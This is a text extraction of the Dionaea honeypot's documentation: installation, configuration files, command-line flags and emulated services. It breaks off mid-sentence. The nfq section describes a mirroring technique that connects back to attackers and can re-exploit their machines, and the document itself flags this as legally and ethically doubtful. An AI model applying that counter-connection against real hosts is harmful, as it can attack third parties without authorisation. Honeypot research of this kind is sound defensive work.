Dionaea
Dionaea
Dionaea
Release 0.11.0
dionaea
1 Introduction 3
1.1 How it works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Network Connectivity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2 Installation 5
2.1 Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2.2 Basic stuff . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2.3 Docker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.4 Ubuntu 18.04 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.5 3rd-party packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
3 Migration 9
3.1 0.10.x -> 0.11.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
3.2 0.7.0 -> 0.8.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
4 Configuration 11
4.1 dionaea . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
4.2 Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
4.3 Modules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
4.4 Processors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
5 Running dionaea 15
6 Integration 17
6.1 DTAG Community Honeypot Project . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
6.2 DionaeaFR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
6.3 DIY with log_json . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
6.4 Modern Honey Network(mhn) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
7 Modules 19
7.1 curl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
7.2 emu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
7.3 pcap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
7.4 python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
8 Service 21
i
8.1 Black hole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
8.2 EPMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
8.3 FTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
8.4 HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
8.5 Memache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
8.6 Mirror . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
8.7 MongoDB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
8.8 MQTT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
8.9 MSSQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
8.10 MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
8.11 nfq . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
8.12 PPTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
8.13 Printer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
8.14 SIP (VoIP) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
8.15 SMB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
8.16 TFTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
8.17 UPnP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
9 Logging (ihandler) 39
9.1 emuprofile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
9.2 fail2ban . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
9.3 ftp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
9.4 hpfeeds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
9.5 log_db_sql . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
9.6 log_incident . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
9.7 log_json . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
9.8 log_sqlite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
9.9 nfq . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
9.10 p0f . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
9.11 s3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
9.12 store . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
9.13 submit_http . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
9.14 submit_http_post . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
9.15 tftp_download . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
9.16 VirusTotal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
10 Processors 49
10.1 Emu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
10.2 Filter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
10.3 Streamdumper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
11 Contributing 51
11.1 Filing bug reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
11.2 Patches . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
11.3 Review . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
12 Licensing rules 53
12.1 License identifier syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
12.2 Compliance check . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
13 Development 57
13.1 Development . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
13.2 Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
13.3 Incident . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
ii
14 Changelog 61
14.1 0.12.0 - (master) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
14.2 0.11.0 - (2020-11-30) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
14.3 0.10.0 - (2020-11-16) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
14.4 0.9.2 - (2020-10-25) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
14.5 0.9.1 - (2020-10-15) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
14.6 0.9.0 - (2020-09-18) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
14.7 0.8.0 - (2018-06-15) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
14.8 0.7.0 - (2018-05-01) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
14.9 0.6.0 - (2016-11-14) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
14.10 0.5.1 - 2016-09-05 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
14.11 0.5.0 - 2016-08-06 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
14.12 0.4.2 - 2016-07-02 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
14.13 0.4.1 - 2016-06-14 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
14.14 0.4.0 - 2016-05-31 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
14.15 0.3.0 - 2016-03-30 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
14.16 0.2.1 - 2014-07-16 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
14.17 0.2.0 - 2013-11-02 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
14.18 0.1.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
15 FAQ 71
15.1 Build/Install . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
15.2 Run . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
17 Support 77
17.1 Cui honorem, honorem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
17.2 Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
17.3 Links . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
18 Exploitation 79
18.1 Payloads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
19 Downloads 81
20 Submit 83
21 Configuration - dionaea.conf 85
21.1 logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
21.2 modules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
22 Utils 89
23 Segfault 91
24 Valgrind 93
iii
25.7 incidents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
25.8 dumping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
25.9 emu profile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
25.10 CreateProcess Commands . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
25.11 URLDownloadToFile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
25.12 WinExec Commands . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
iv
dionaea Documentation, Release 0.11.0
Dionaea is meant to be a nepenthes successor, embedding python as scripting language, using libemu to detect shell-
codes, supporting ipv6 and tls
Content:
Contents 1
dionaea Documentation, Release 0.11.0
2 Contents
CHAPTER 1
Introduction
dionaea intention is to trap malware exploiting vulnerabilities exposed by services offered to a network, the ultimate
goal is gaining a copy of the malware.
1.2 Security
As Software is likely to have bugs, bugs in software offering network services can be exploitable, and dionaea is
software offering network services, it is likely dionaea has exploitable bugs.
Of course we try to avoid it, but if nobody would fail when trying hard, we would not need software such as dionaea.
So, in order to minimize the impact, dionaea can drop privileges, and chroot.
To be able to run certain actions which require privileges, after dionaea dropped them, dionaea creates a child process
at startup, and asks the child process to run actions which require elevated privileges. This does not guarantee anything,
but it should be harder to get gain root access to the system from an unprivileged user in a chroot environment.
Given the softwares intended use, network io is crucial. All network io is within the main process in a so called non-
blocking manner. To understand nonblocking, imagine you have many pipes infront of you, and these pipes can send
you something, and you can put something into the pipe. If you want to put something into a pipe, while it is crowded,
you’d have to wait, if you want to get something from a pipe, and there is nothing, you’d have to wait too. Doing this
pipe game non-blocking means you won’t wait for the pipes to be write/readable, you’ll get something off the pipes
once data arrives, and write once the pipe is not crowded. If you want to write a large chunk to the pipe, and the pipe
is crowded after a small piece, you note the rest of the chunk you wanted to write, and wait for the pipe to get ready.
DNS resolves are done using libudns, which is a neat non-blocking dns resolving library with support for AAAA
records and chained cnames. So much about non-blocking.
3
dionaea Documentation, Release 0.11.0
dionaea uses libev to get notified once it can act on a socket, read or write.
dionaea can offer services via tcp/udp and tls for IPv4 and IPv6, and can apply rate limiting and accounting limits per
connections to tcp and tls connections - if required.
4 Chapter 1. Introduction
CHAPTER 2
Installation
2.1 Requirements
For best performance and functionality we have documented some recommendations for running dionaea.
Platform Options
Operating System
• Ubuntu 18.04 LTS (recommended) (used for de-
velopment)
• Debian 10 (recommended)
Python Runtime
• 3.9 (recommended)
• 3.8 (recommended)
• 3.7
• 3.6
At the moment we do not recommend using Ubtuntu 20.04 or Debian 11 because libemu has been dropped from the
package repository. Feel free to have a look at Future of shellcode emulation (libemu)? for more information and to
help use.
You can download the source code from the release page or by using the git command.
5
dionaea Documentation, Release 0.11.0
2.3 Docker
We provide an official docker image. For detailed instructions please have a look at the dinotools/dionaea docker hub
page
After all dependencies have been installed successfully create a build directory and run cmake to setup the build
process.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX:PATH=/opt/dionaea ..
Now you should be able to run make to build and run make install to install the honeypot.
make
sudo make install
6 Chapter 2. Installation
dionaea Documentation, Release 0.11.0
The packages below are 3rd party provided, which is appreciated. If you have compiled a package for your own
distribution, just send me the link or make a pull request.
Note: Before you use 3rd party packages please check if you get the latest version of dionaea.
Note: We are not responsible and it is hard to debug if you use 3rd party packages. If you have any issues with the
packages please also contact the package maintainer.
8 Chapter 2. Installation
CHAPTER 3
Migration
We try to provide some information on how to upgrade from one version to the next. Please also have a look at the
Changelog for additional information.
Config
• IPv4 mapped IPv6 is now disabled by default
Path
During the steps from autotools to cmake nearly all log and data directories have been changed. But it should be
possible to keep the old config files and also use the old directories.
Assuming dionaea 0.7.0 and 0.8.0 have been installed into `/opt/dionaea`
• /opt/dionaea/var/dionaea/binaries/ /opt/dionaea/var/lib/dionaea/binaries/
• /opt/dionaea/var/dionaea/bistreams/ -> /opt/dionaea/var/lib/dionaea/bistreams/
• /opt/dionaea/var/dionaea/dionaea.db -> /opt/dionaea/var/lib/dionaea/dionaea.db
• /opt/dionaea/var/dionaea/dionaea.json -> /opt/dionaea/var/lib/dionaea/dionaea.json
• /opt/dionaea/var/dionaea/dionaea.log -> /opt/dionaea/var/log/dionaea/dionaea.log
• /opt/dionaea/var/dionaea/dionaea.sqlite -> /opt/dionaea/var/lib/dionaea/dionaea.sqlite
9
dionaea Documentation, Release 0.11.0
10 Chapter 3. Migration
CHAPTER 4
Configuration
If you want to change the software, it is really important to understand how it works, therefore please take the time
to how it works. dionaea.cfg is the main configuration file. In the example below you can see the default
configuration.
Listing 1: dionaea.cfg
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
[dionaea]
download.dir=@DIONAEA_STATEDIR@/binaries/
#modules=curl,python,nfq,emu,pcap
modules=curl,python,emu
processors=filter_streamdumper,filter_emu
listen.mode=getifaddrs
# listen.addresses=127.0.0.1
# listen.interfaces=eth0,tap0
# Country
# ssl.default.c=GB
# Common Name/domain name
# ssl.default.cn=
# Organization
# ssl.default.o=
# Organizational Unit
# ssl.default.ou=
11
dionaea Documentation, Release 0.11.0
[logging]
default.filename=@DIONAEA_LOGDIR@/dionaea.log
default.levels=all
default.domains=*
errors.filename=@DIONAEA_LOGDIR@/dionaea-errors.log
errors.levels=warning,error
errors.domains=*
[processor.filter_emu]
name=filter
config.allow.0.protocols=smbd,epmapper,nfqmirrord,mssqld
next=emu
[processor.filter_streamdumper]
name=filter
config.allow.0.types=accept
config.allow.1.types=connect
config.allow.1.protocols=ftpctrl
config.deny.0.protocols=ftpdata,ftpdatacon,xmppclient
next=streamdumper
[processor.streamdumper]
name=streamdumper
config.path=@DIONAEA_STATEDIR@/bistreams/%Y-%m-%d/
[processor.emu]
name=emu
config.limits.files=3
#512 * 1024
config.limits.filesize=524288
config.limits.sockets=3
config.limits.sustain=120
config.limits.idle=30
config.limits.listen=30
config.limits.cpu=120
#// 1024 * 1024 * 1024
config.limits.steps=1073741824
[module.nfq]
queue=2
[module.nl]
# set to yes in case you are interested in the mac address of the remote (only works
˓→for lan)
lookup_ethernet_addr=no
[module.python]
imports=dionaea.log,dionaea.services,dionaea.ihandlers
(continues on next page)
12 Chapter 4. Configuration
dionaea Documentation, Release 0.11.0
[module.pcap]
any.interface=any
4.1 dionaea
download.dir
Global download directory used by some ihandlers.
listen.mode:
There are basically three modes how dionaea can bind the services to IP addresses.
• getifaddrs - auto This will get a list of all IP addresses of all available interfaces and bind the
services to each IP. It is also possible to specify a list of interfaces to use by using the listen.
interfaces parameter.
• manual - your decision In this mode you have to specify an additional parameter listen.
addresses. This is a comma separated list of IP addresses dionaea should bind the services
to.
• nl, will require a list of interfaces You have to specify a comma separated list of interfaces names
with the listen.interfaces parameter. If an IP address is added to an interfaces or
removed from an interface dionaea will lunch or stop all services for this IP.
modules
Comma separated list of modules.
processors
Comma separated list of processors.
ssl.default.c
Two letter id of the Country.
ssl.default.cn
The Common Name/domain name of the generated SSL/TLS certificate.
ssl.default.o
The Organization name.
ssl.default.ou
The name of the Organizational Unit.
4.2 Logging
dionaea has a general application log. This logs are ment to be used for debugging and to track errors. It is not
recommended to analyse this files to track attacks.
filename
4.1. dionaea 13
dionaea Documentation, Release 0.11.0
errors.levels=warning,error
Log all log messages but exclude messages with log level debug
errors.levels=all,-debug
domain
Only log messages in a specified domain.
4.3 Modules
Only modules specified by the modules value in the dionaea section are loaded during the start up.
Every module might have its own config section with additional config parameters. The section name consists of the
prefix module and the module name speratated by a dot(.).
See the Modules documentation to find more information on how to configure the modules.
4.4 Processors
The specified processors will be used as an entry point in the processing pipeline. In most cases the initial processor
will be a filter processor <processor/filter>. The next processor in the pipeline is specified by the
next parameter.
See the Processors documentation to find more information on how to configure the processors.
14 Chapter 4. Configuration
CHAPTER 5
Running dionaea
The software has some flags you can provide at startup, the -h flag shows the help, the -H includes the default values.
$ /opt/dionaea/bin/dionaea -H
-c, --config=FILE use FILE as configuration file
Default value/behaviour: /opt/dionaea/etc/dionaea/
˓→ dionaea.cfg
-D, --daemonize run as daemon
-g, --group=GROUP switch to GROUP after startup (use with -u)
Default value/behaviour: keep current group
-G, --garbage=[collect|debug] garbage collect, usefull to debug memory leaks,
does NOT work with valgrind
-h, --help display help
-H, --large-help display help with default values
-l, --log-levels=WHAT which levels to log, valid values
all, debug, info, message, warning, critical, error
combine using ',', exclude with - prefix
-L, --log-domains=WHAT which domains use * and ? wildcards, combine using
˓→ ',',
exclude using -
-u, --user=USER switch to USER after startup
Default value/behaviour: keep current user
-p, --pid-file=FILE write pid to file
-r, --chroot=DIR chroot to DIR after startup
Default value/behaviour: don't chroot
-V, --version show version
-w, --workingdir=DIR set the process' working dir to DIR
Default value/behaviour: /opt/dionaea
examples:
# dionaea -l all,-debug -L '*'
# dionaea -l all,-debug -L 'con*,py*'
# dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid
15
dionaea Documentation, Release 0.11.0
Integration
The DTAG Community Honeypot Project has been started in 2010 by a small group of enthusiasts of the Deutsche
Telekom. They are maintaining T-Pot a Multi-Honeypot Platform. It is based on well established honeypots including
dionaea.
• Website: DTAG Community Honeypot Project
• Status: active
6.2 DionaeaFR
DionaeaFR is a web-frontend to display attack information. It uses the SQLite database provided by the log_sqlite
ihandler.
• Website: DionaeaFR
• Status: unmaintained since 2014
You can use the log_json incident handler in combination with an ELK stack to collect, aggregate and visualize attack
information.
• Website: ELK stack
• Status: active
17
dionaea Documentation, Release 0.11.0
A tool to deploy honeypots, collect attack information and display aggregated statistics.
• Website: Modern Honey Network
• Status: active, but deploys an pre 0.2(2014) version of dionaea by default.
18 Chapter 6. Integration
CHAPTER 7
Modules
The subsections name is the name of the module dionaea will try to load, most modules got rather simplistic names,
the pcap module will use libpcap, the curl module libcurl, the emu module libemu . . . The python module is special,
as the python module can load python scripts, which offer services, and each services can have its own options.
List of available modules
7.1 curl
The curl module is used to transfer files from and to servers, it is used to download files via http as well as submitting
files to 3rd parties.
7.2 emu
The emu module is used to detect, profile and - if required - execute shellcode.
7.3 pcap
The pcap module uses the libpcap library to detect rejected connection attempts, so even if we do not accept a connec-
tion, we can use the information somebody wanted to connect there.
7.4 python
The python module allows using the python interpreter in dionaea, and allows controlling some scripts dionaea uses
19
dionaea Documentation, Release 0.11.0
20 Chapter 7. Modules
CHAPTER 8
Service
Network services speak a certain language, this language is called protocol. When we started deploying honeypots,
you could trap worms just by opening a single port, and wait for them to connect and send you an url where you could
download a copy of the worm. The service getting attacked was the backdoor of the bagle mailworm, and it did not
require and interaction. Later on, the exploitations of real services got more complex, and you had to reply something
to the worm to fool him. Nowadays worms use API to access services, before sending their payload. To allow easy
adjustments to the procotol, dionaea implements the protocols in python. There is a glue between the network layer
which is done in the c programming language and the embedded python scripting language, which allows using the
non-blocking connections in python. This has some benefits, for example we can use non-blocking tls connections in
python, and we even get rate limiting on them (if required), where pythons own io does not offer such things. On the
other hand, it is much more comfortable to implement protocols in python than doing the same in c.
List of available services
The black hole module can be used to bind a service to a port. The service does not respond to any submitted data.
But the bistreams can be used to create new modules.
Listing 1: services/blackhole.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: blackhole
config:
services:
# Telnet
- port: 23
(continues on next page)
21
dionaea Documentation, Release 0.11.0
# DNS
- port: 53
protocol: udp
- port: 53
protocol: tcp
# NTP
- port: 123
protocol: udp
8.2 EPMAP
Listing 2: services/epmap.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: epmap
8.3 FTP
Dionaea provives a basic ftp server on port 21, it can create directories and upload and download files. From my own
experience there are very little automated attacks on ftp services and I’m yet to see something interesting happening
on port 21.
Listing 3: services/ftp.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: ftp
config:
root: "@DIONAEA_STATEDIR@/ftp/root"
response_messages:
welcome_msg: 220 DiskStation FTP server ready.
8.4 HTTP
Dionaea supports http on port 80 as well as https, but there is no code making use of the data gathered on these ports.
For https, the self-signed ssl certificate is created at startup.
22 Chapter 8. Service
dionaea Documentation, Release 0.11.0
8.4.1 Configure
Example configuration:
- name: http
config:
root = "var/dionaea/wwwroot"
default_headers
Default header fields are send if none of the other header patterns match.
global_headers
Global header fields are added to all response headers.
headers
List of header fields to be used in the response header. Only applied if filename_pattern, status_code and
methods match. The first match in the list is used.
max_request_size
Maximum size in kbytes of the request. 32768 = 32MB
root
The root directory so serve files from.
Listing 4: services/http.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: http
config:
# Root directory to look for files
root: "@DIONAEA_STATEDIR@/http/root"
ports:
- 80
ssl_ports:
- 443
max_request_size: 32768 # maximum size in kbytes of the request (32MB)
# Set default Content-Type if unable to detect
# default_content_type: text/html; charset=utf-8
# Max number of fields to extract from GET request (Python >= 3.8)
# get_max_num_fields: 100
# List of default headers
# default_headers:
# - ["Content-Type", "{content_type}"]
# - ["Content-Length", "{content_length}""]
# - ["Connection", "{connection}"]
# Try to detect the Content-Type by using the filename
# detect_content_type: true
global_headers:
- ["Server", "nginx"]
# Add additional headers to the response. First match wins.
(continues on next page)
8.4. HTTP 23
dionaea Documentation, Release 0.11.0
- name: http
config:
global_headers:
- ["Server", "nginx"]
- name: http
config:
headers:
- filename_pattern: ".*\\.php"
headers:
- ["Content-Type", "text/html; charset=utf-8"]
- ["Content-Length", "{content_length}"]
- ["Connection", "{connection}"]
- ["X-Powered-By", "PHP/5.5.9-1ubuntu4.5"]
8.4.4 Templates
24 Chapter 8. Service
dionaea Documentation, Release 0.11.0
• Jinja
Before any template is used the template processing has to be enabled in the config file. Some global templates (e.g.
for error pages) are specified in the config file. To use the template function in a static file just place it under the
content root directory and add the template file extension as specified with the file_extension.
Example:
• you have a file called my-app.html
• to enabled template processing rename the file to my-app.html.j2
• now you can use template strings
Template values:
• connection is an instance of HTTP connection class
• values is a Dictionary of additional template values specified in the config
Demo:
Have a look at our demo template and play with it in your test lab before releasing it into the wild.
Listing 5: http/root/form.html.j2
<html>
<head>
<title>Demo</title>
</head>
<body>
<h1>Form GET</h1>
<form action="{{ connection.header.path }}" method="get">
<label for="text1">Text</label>
<input type="text" name="text" id="text1"/>
<label for="password1">Password</label>
<input type="password" name="password" id="password1"/>
<button type="submit">Send</button>
</form>
<h1>Form POST</h1>
<form action="{{ connection.header.path }}" method="post">
<label for="text2">Text</label>
<input type="text" name="text" id="text2"/>
<label for="password2">Password</label>
<input type="password" name="password" id="password2"/>
<button type="submit">Send</button>
</form>
<h1>Form POST - multipart/form-data</h1>
<form action="{{ connection.header.path }}" enctype="multipart/form-data"
˓→method="post">
<label for="text3">Text</label>
<input type="text" name="text" id="text3"/>
<label for="password3">Password</label>
<input type="password" name="password" id="password3"/>
<label for="file3">File</label>
(continues on next page)
8.4. HTTP 25
dionaea Documentation, Release 0.11.0
<button type="submit">Send</button>
</form>
<h1>Results</h1>
<pre>
Get Values
{% for name, value in connection.request_fields|dictsort %}
{{ name }} = {{ value[0] }}
{% endfor %}
Form values
{% if connection.request_form %}
{% for name in connection.request_form.keys() %}
{% if connection.request_form[name].filename %}
{{ name }} = file with name '{{ connection.request_form[name].filename }}'
{% else %}
{{ name }} = {{ connection.request_form[name].value }}
{% endif %}
{% endfor %}
{% endif %}
</pre>
</body>
</html>
8.5 Memache
8.5.1 Configure
Listing 6: services/memcache.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: memcache
8.6 Mirror
Listing 7: services/mirror.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
(continues on next page)
26 Chapter 8. Service
dionaea Documentation, Release 0.11.0
- name: mirror
8.7 MongoDB
This module add initial support to emulates a MongoDB server with the dionaea honeypot. At the moment it is very
limited and the functionality might be improved in one of the next releases.
8.7.1 Requirements
Listing 8: services/mongo.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: mongo
8.8 MQTT
Listing 9: services/mqtt.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: mqtt
8.9 MSSQL
This module implements the Tabular Data Stream protocol which is used by Microsoft SQL Server. It listens to
tcp/1433 and allows clients to login. It can decode queries run on the database, but as there is no database, dionaea
can’t reply, and there is no further action. Typically we always get the same query:
exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1
˓→where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.
˓→arithabort on
8.7. MongoDB 27
dionaea Documentation, Release 0.11.0
- name: mssql
8.10 MySQL
This module implements the MySQL wire stream protocol - backed up by sqlite as database. Please refer to 2011-05-
15 Extending Dionaea <http://carnivore.it/2011/05/15/extending_dionaea> for more information.
- name: mysql
config:
databases:
information_schema:
path: ":memory:"
# example how to extend this
# just provide a databasename and path to the database
# the database can be altered by attackers, so ... better use a copy
# psn:
# path: "/path/to/cc_info.sqlite"
8.11 nfq
The python nfq script is the counterpart to the nfq module. While the nfq module interacts with the kernel, the nfq
python script takes care of the required steps to start a new service on the ports. nfq can intercept incoming tcp
connections during the tcp handshake giving your honeypot the possibility to provide service on ports which are not
served by default.
As dionaea can not predict which protocol will be spoken on unknown ports, neither implement the protocol by itself,
it will connect the attacking host on the same port, and use the attackers server side protocol implementation to reply
to the client requests of the attacker therefore dionaea can end up re?exploiting the attackers machine, just by sending
him the exploit he sent us.
The technique is a brainchild of Tillmann Werner, who used it within his honeytrap <http://honeytrap.carnivore.it>
honeypot. Legal boundaries to such behaviour may be different in each country, as well as ethical boundaries for each
individual. From a technical point of view it works, and gives good results. Learning from the best, I decided to adopt
this technique for dionaea. Besides the legal and ethical issues with this approach, there are some technical things
which have to be mentioned
port scanning
28 Chapter 8. Service
dionaea Documentation, Release 0.11.0
If your honeypot gets port scanned, it would open a service for each port scanned, in worst case you’d
